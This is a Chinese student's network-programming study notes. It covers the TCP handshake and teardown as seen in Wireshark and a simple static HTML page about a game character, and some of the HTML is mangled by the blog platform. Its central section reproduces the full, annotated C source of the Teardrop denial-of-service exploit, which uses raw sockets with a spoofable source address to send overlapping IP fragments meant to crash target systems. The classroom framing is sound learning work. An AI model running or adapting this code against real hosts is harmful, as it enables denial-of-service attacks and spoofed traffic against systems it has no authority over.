网络通信编程学习笔记(六):socket编程实战

目录

  • 一、wireshark抓包分析TCP协议
    • 1.1、TCP协议的连接与断开简介
    • 1.2、用wireshark抓取使用TCP协议传输的握手包
  • 二、用Teardrop代码编写一个假包,并抓取
    • 2.1、新建文件
    • 2.2、用wireshark抓包验证
  • 三、SOCKET应用实例
  • 四、简单web网站
    • 1.完成一个静态网页

一、wireshark抓包分析TCP协议

1.1、TCP协议的连接与断开简介

TCP协议存在于计算机网络分层中的传输层,
网络通信编程学习笔记(六):socket编程实战_第1张图片

用TCP协议建立连接,需要客户机与服务机进行三次确认通讯即“三次握手”

  1. 第一次握手:
    客户端发送一个TCP的SYN标志位置1的包指明客户打算连接的服务器的端口,以及初始序号X,保存在包头的序列号(Sequence Number)字段里。

  2. 第二次握手:
    服务器发回确认包(ACK)应答。即SYN标志位和ACK标志位均为1同时,将确认序号(Acknowledgement Number)设置为客户的I S N加1以.即X+1。

  3. 第三次握手.
    客户端再次发送确认包(ACK) SYN标志位为0,ACK标志位为1.并且把服务器发来ACK的序号字段+1,放在确定字段中发送给对方.并且在数据段放写ISN的+1

在三次握手完成后,客户机与服务机就建立了比较可靠的连接

简单图示如下:

网络通信编程学习笔记(六):socket编程实战_第2张图片

第一次握手:客户 → 服务器(ACK = 0 ,SYN = 1)
第二次握手:服务器 → 客户(ACK = 1 ,SYN = 1)
第三次握手:客户 → 服务器(ACK = 1 ,SYN = 0)

同样的,在断开连接时,TCP协议也要进行四次确认通讯“四次挥手”

  1. 第一次挥手: Client端发起挥手请求,向Server端发送标志位是FIN报文段,设置序列号seq,此时,Client端进入FIN_WAIT_1状态,这表示Client端没有数据要发送给Server端了。
  2. 第二次分手:Server端收到了Client端发送的FIN报文段,向Client端返回一个标志位是ACK的报文段,ack设为seq加1,Client端进入FIN_WAIT_2状态,Server端告诉Client端,我确认并同意你的关闭请求。
  3. 第三次分手: Server端向Client端发送标志位是FIN的报文段,请求关闭连接,同时Client端进入LAST_ACK状态。
  4. 第四次分手 : Client端收到Server端发送的FIN报文段,向Server端发送标志位是ACK的报文段,然后Client端进入TIME_WAIT状态。Server端收到Client端的ACK报文段以后,就关闭连接。此时,Client端等待2MSL的时间后依然没有收到回复,则证明Server端已正常关闭,那好,Client端也可以关闭连接了。

图示:
网络通信编程学习笔记(六):socket编程实战_第3张图片

TCP标志位

每个TCP段都有一个目的,这是借助于TCP标志位选项来确定的,允许发送方或接收方指定哪些标志应该被使用,以便段被另一端正确处理。
用的最广泛的标志是 SYN,ACK 和 FIN,用于建立连接,确认成功的段传输,最后终止连接。

  • SYN:简写为S,同步标志位,用于建立会话连接,同步序列号;
  • ACK: 简写为.,确认标志位,对已接收的数据包进行确认;
  • FIN: 简写为F,完成标志位,表示我已经没有数据要发送了,即将关闭连接;
  • PSH:简写为P,推送标志位,表示该数据包被对方接收后应立即交给上层应用,而不在缓冲区排队;
  • RST:简写为R,重置标志位,用于连接复位、拒绝错误和非法的数据包;
  • URG:简写为U,紧急标志位,表示数据包的紧急指针域有效,用来保证连接不被阻断,并督促中间设备尽快处理;

1.2、用wireshark抓取使用TCP协议传输的握手包

在上一篇文章中网络通信编程学习笔记(五),编写了一个文字网游的客户端,这个游戏服务器是搭建在学校内网中的,我们就用这个网游来进行验证
期望结果如下:

  1. 握手连接:
  • 第一次握手:客户 → 服务器(ACK = 0 ,SYN = 1)
  • 第二次握手:服务器 → 客户(ACK = 1 ,SYN = 1)
  • 第三次握手:客户 → 服务器(ACK = 1 ,SYN = 0)

第一次握手

网络通信编程学习笔记(六):socket编程实战_第4张图片

第二次握手

网络通信编程学习笔记(六):socket编程实战_第5张图片

第三次握手

网络通信编程学习笔记(六):socket编程实战_第6张图片

  1. 挥手断开:
  • 第一次挥手:客户 → 服务器(ACK = 1 ,FIN = 1)
  • 第二次挥手:服务器 → 客户(ACK = 1 ,FIN = 0)
  • 第三次挥手:服务器 → 客户(ACK = 1 ,FIN = 1)
  • 第四次挥手:客户 → 服务器(ACK = 1 ,FIN = 0)

第一次挥手

网络通信编程学习笔记(六):socket编程实战_第7张图片

第二次挥手

网络通信编程学习笔记(六):socket编程实战_第8张图片

第三次挥手

网络通信编程学习笔记(六):socket编程实战_第9张图片

第四次挥手

网络通信编程学习笔记(六):socket编程实战_第10张图片

二、用Teardrop代码编写一个假包,并抓取

2.1、新建文件

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else  
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1  
/* Linux dies with 1, NT is more stalwart and can
 * withstand maybe 5 or 10 sometimes...  Experiment.
 */

//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);

//主函数
int main(int argc,char **argv)
{
     
    int one = 1, count = 0, i, rip_sock;
    //定义无符号长整型源 IP 和目的 IP
    u_long src_ip = 0, dst_ip = 0;
    //定义无符号短整型源端口号和目的端口号
    u_short src_prt = 0, dst_prt = 0;
    /*
    定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象
    struct in_addr
    {
        union
        {
            struct
            {
                u_char s_b1,s_b2,s_b3,s_b4;
            } S_un_b; //An IPv4 address formatted as four u_chars.
            struct
            {
                u_short s_w1,s_w2;
            } S_un_w; //An IPv4 address formatted as two u_shorts
            u_long S_addr;//An IPv4 address formatted as a u_long
        } S_un;
        #define s_addr S_un.S_addr
    };
    */
    struct in_addr addr;
    printf("teardrop route|daemon9\n\n");

    /*
    创建一个原始套接字
    AF_INET——IPv4地址;
    SOCK_RAW——原始的套接字类型
    IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包
    如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET
    每个电脑里面都会有一个描述符表,对应套接字
    如果创建失败,将错误消息输出到屏幕
    然后退出程序
    */
    if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
    {
     
	fprintf(stderr,"raw socket");
	exit(1);
    }

    /*
    设置原始套接字选项 IP_HDRINCL
    如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部
    这个情况是我们所不需要的,我们需要自己编写 IP 包
    */
    if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
    {
     
        fprintf(stderr,"IP_HDRINCL");
        exit(1);
    }

    /*
    如果程序运行时送给main函数的命令行参数个数小于 3 个,
    调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名
    */
    if(argc < 3)
        usage(argv[0]);

    //调用 name_resolve 函数设置源 IP 和目的 IP 
    if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
     
        fprintf(stderr,"What the hell kind of IP address is that?\n");
        exit(1);
    }

    /*
    调用 getopt 函数分析命令行参数,该函数的参数含义:
    ——命令行参数个数(argc)
    ——命令行参数内容(argv)
    ——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数
    getopt 函数处理不符合 optstring 指定的选项
    并将选项后的参数保存在 optarg 中
    然后返回选项的 ASCLL 码

    atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)
    如果不能转化为十进制,则返回 0 ,值过大返回 -1

    该循环语句是为了从命令行传端口值
    */
    while((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
     
        switch (i)
        {
     
        case 's'://源端口(重点)
        src_prt = (u_short)atoi(optarg);
            break;
        case 't'://目的端口 (DNS,任何人?)
        dst_prt = (u_short)atoi(optarg);
            break;
        case 'n'://设置发送包的个数
        count = atoi(optarg);
            break;
        default:
        usage(argv[0]);
            break;
        }
    }
    /*
    srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)
    如果前面设置的源端口和目的端口是零,则随机赋值
    */
    srandom((unsigned)(utimes("0",(time_t)0)));
    if(!src_prt)
        src_prt = (random() % 0xffff);//设置随机源端口号
    if(!dst_prt)
        dst_prt = (random() % 0xffff);//设置随即目的端口号
    if(!count)
        count = COUNT;//设置默认为一个包
    //inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串
    printf("Death on flaxen wings:\n");
    addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
    printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
    printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
    printf("Amt:%5d\n",count);
    printf("[\n");

    /*
    循环调用 send_frags 函数
    每一次循环完了后睡眠 0.5 s
    */
    for (i = 0; i < count; i++)
    {
     
        send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
        usleep(500);
    }
    printf("]\n");
    return (0);
}

//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{
     
    u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
    u_char byte;//无符号字符储存二进制
    struct sockaddr_in sin;
    /*
    sockaddr 套接字协议结构
    用于存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址
    struct sockaddr {
        unsigned short sa_family; //address family, AF_xxx
        char sa_data[14]; //14 bytes of protocol address
    };
    */
    sin.sin_family = AF_INET;//IPv4地址
    sin.sin_port = src_prt;//源端口
    sin.sin_addr.s_addr = dst_ip;//目的 IP
    /*
    malloc 函数:
    原型:extern void *malloc(unsigned int num_bytes);
    功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块)
    说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL
    */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr = packet;//指向 IP 包内存地址
    flag = packet;
    /*
    bzero 函数:
    原型:extern void bzero(void *s, int n);
    功能:置字节字符串前n个字节为零且包括‘\0’,无返回值
    这里是将 IP 包的 56 个字节全部至空
    */
    bzero((u_char *)p_ptr,IPH + UDPH + PADDING);
    /*
    设置 IP 包的Version(版本)和Hlen(长度)
    大多数的 IP 包都是以 4500 开头的(十六进制) 
    */
    byte = 0x45;
    /*
    memcpy 函数:
    原型:void *memcpy(void *destin, void *source, unsigned n);
    功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中
                    即从源source中拷贝n个字节到目标destin中
    这里是指从 byte 的内容(0x45)拷贝到 IP 包中
    */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0
    /*
    FIX 函数(htons 函数的别名)
    htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序
                                即大尾顺序(big-endian)
    这里是设置 Datagram Total Length(IP 包总长度)
    */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
    p_ptr += 2;
    //这是是设置 identifier(IP 包标识)
    *((u_short *)p_ptr) = htons(242);//IP id
    p_ptr += 2;
    //这里设置 Flags(标志)
    *((u_short *)p_ptr) |= FIX(IP_MF);
    p_ptr += 2;
    //设置 TTL (存活期)
    *((u_short *)p_ptr) = 0x40;
    //设置 Protocol(协议)
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    //IP 的校验码由实时操作系统设置
    p_ptr += 4;
    //设置 IP 包的 Source Address(源地址)
    *((u_long *)p_ptr) = src_ip;
    p_ptr += 4;
    //设置 IP 包的 Destination Address(目的地址)
    *((u_long *)p_ptr) = dst_ip;
    p_ptr += 4;
    //设置 UDP 的源端口
    *((u_short *)p_ptr) = htons(src_prt);
    p_ptr += 2;
    //设置 UDP 的目的端口
    *((u_short *)p_ptr) = htons(dst_prt);
    p_ptr += 2;
    //设置 UDP 的数据长度
    *((u_short *)p_ptr) = htons(PADDING);
    p_ptr += 4;
    /*
    设置要发送的数据:Fake News
    根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73
    */
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;
    /*
    sendto 函数:指向一指定目的地发送数据
		将指定字节数的数据发送到指定的终结点
		sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)
    返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR
    发送 IPv4 包,下面这个条件语句发送失败才会执行
    */
    int i=1;
    while(i <= 56)
    {
     
	printf("%x\t",*flag);
	flag++;
        if(0 == i%8)
	    printf("\n");
        i++;
    }
    if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
     
        fprintf(stderr, "\nsendto");
        free(packet);//释放 packet 指针
        exit(1);
    }
    //IP total length is 2 bytes into the header
    //IP 包总长度是2字节,放进头部
    p_ptr = &packet[2];
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    //IP offset is 6 bytes into the header
    p_ptr += 4;
    *((u_short *)p_ptr) = FIX(MAGIC);
    //发送 UDP 包,下面这个条件语句发送失败才会执行
    if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
    {
     
        fprintf(stderr, "\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}

//获取主机信息
u_long name_resolve(u_char *host_name)
{
     
    struct in_addr addr;//32位 IPv4 地址
    /*
    hostent 结构体:该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表
    struct hostent {
        char *h_name;
        char **h_aliases;
        int h_addrtype;
        int h_length;
        char **h_addr_list;
    };
    #define h_addr h_addr_list[0]
    */
    struct hostent *host_ent;
    /*
    gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针
    bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中
    */
    if((addr.s_addr = inet_addr(host_name)) == -1)
    {
     
        if(!(host_ent = gethostbyname(host_name)))
            return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

//错误处理函数
void usage(u_char *name)
{
     
    fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many  ]\n",name);
    exit(0);
}


2.2、用wireshark抓包验证

三、SOCKET应用实例

四、简单web网站

1.完成一个静态网页

参考学习网站棋歌的教学网站
这是我做的一个简易的web网页,点忠县则会跳转到我基于MDBootstrap框架的另一个网页。



<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>主页title>
    <style>
        body{
      
            /*边界看宽度默认为8,在这里初始值设为零*/
            margin: 0;
            font-family: 楷体;
        }
        nav{
      
            width: 100%;
            height: 64px;
            position: fixed;
            top: 0;
            background-color: white;
            z-index: 1000;
        }
        /*找到nav标签下 div标签后代选择器 ,可以找到nav下的所有的div标签*/
        nav div{
      
            width: 1000px;
            height: 64px;
            /*块元素居中*/
            margin:0 auto;
        }
        #logo{
      
            width: 216px;
            /*相对定位,位置微调*/
            position: relative;
            top: 7px;
            left: 15px;
        }
        ul{
      
            float: right;
            margin: 0;
            /*左内边距设为零*/
            padding-left: 0;
        }
        li{
      
            float: left;
            /*设置列表项的前缀为none*/
            list-style: none;
            margin-right: 30px;
        }
        li a{
      
            line-height: 64px;
            /*去除超链接下划线*/
            text-decoration: none;
            color: black;
        }
        li a:hover{
      
            color: brown;
        }
        #header{
      
            /*图片宽度设为100%*/
            width: 100%;
        }
        main {
      
            width: 1000px;
            margin:0 auto;
        }
        /*只找到父子关系的标签找到section下img标签,不会找到孙级标签*/
        section > img {
      
            width: 1000px;
        }
        p {
      
            color: brown;
            /*文本首行缩进2个字符*/
            text-indent: 2em;
        }
        h2 {
      
            color: brown;
        }
        #myclassmate {
      
            width: 1000px;
            height: 630px;
            background-image: url('personage/classmates.jpg');
            background-size: 1000px 630px;
            /*relative 相对的 相对定位 */
            /*1. 相对自己原来的位置做位置的微调
            2.让该标签下的子标签做绝对定位时,以该标签为参考物调整,而不再是以浏览器边框为参考物*/
            position: relative;
        }
        #myclassmate img{
      
            border:2px white solid;
            border-radius: 50%;
            /*absolute1.绝对定位的元素会被浮起来,原来的位置会被后面的元素侵占*/
            position: absolute;
        }
        /*找到div下的第1个子标签*/
        #myclassmate img:nth-child(1){
      
            width: 200px;
            top: 100px;
            left: 100px;
        }
        /*找到div下的第2个子标签*/
        #myclassmate img:nth-child(2){
      
            width: 270px;
            top: 260px;
            left: 360px;
        }
        /*找到div下的第3个子标签*/
        #myclassmate img:nth-child(3){
      
            width: 230px;
            top: 100px;
            right: 60px;
        }
    style>
head>
<body>
    <nav>
        <div>
            <img id="logo" src="logo-public.png" alt="英雄联盟">
            <ul>
                <li><a href="#header">首页a>li>
                <li><a href="#jineng">技能介绍a>li>
                <li><a href="#jiqiao">使用技巧a>li>
                 <li><a href="#fuwen">符文推荐a>li>
                 <li><a href="#yujian">玉剑传说a>li>  
                 <li><a href="#cankao">参考a>li> 
               
            ul>
        div>
    nav>
    <img id="header" src="daomei.jpg" alt="艾瑞莉娅">
    
    <main>
        
        <p>“诺克萨斯对艾欧尼亚的占领催生了许多英雄,但没有谁像纳沃利的艾瑞莉娅一般令人意外。她将家乡的古老舞艺化为战技,以精心修习的优雅身姿操控着致命的刀丛。在她证明了自己的战斗实力后,被众人推举为反抗军的领袖和首脑,为了守卫家园而奋斗至今。”p>
        
        <section id="jineng">
            <img src="jineng.png" alt="jineng.png">
            <p>“熟悉技能能够让你更完美的carry全场。”p>
        section>
 
        <section id="jiqiao">
            <h2>使用技巧h2>
            <img src="jiqiao.png" alt="jiqiao.png">
            <p>技巧非常重要。p>
        section>
       
        <section id="fuwen">
            <h2>符文推荐h2>
            <img src="fuwen.png" alt="fuwen.png">
            <p>好的符文能够让你打出更大的优势。p>
        section>
  
        <section id="yujian">
            <h2>玉剑传说h2>
            <div id="yujian">
                <img src="yujian.jpg" alt="yujian.jpg">
               
            div>
            <p>“最帅的一款皮肤。”p>
        section>
       
        <section id="cankao">
            <h2>参考h2>
            <div id="yujian">
                <p>“想要了解更多麻烦请参考。”p>
                <a href="https://lol.qq.com/main.shtml" target="_blank">英雄联盟a>
            div>
        section>
        <a href="https://cqjtu.online/215351d9d18e4c2d9754f3182189bcb7/%E2%95%AC%CE%93%E2%95%A1%E2%95%A7/" target="_blank">忠县a>
    main>
    <hr>

body>

你可能感兴趣的:(网络通信编程,html,socket)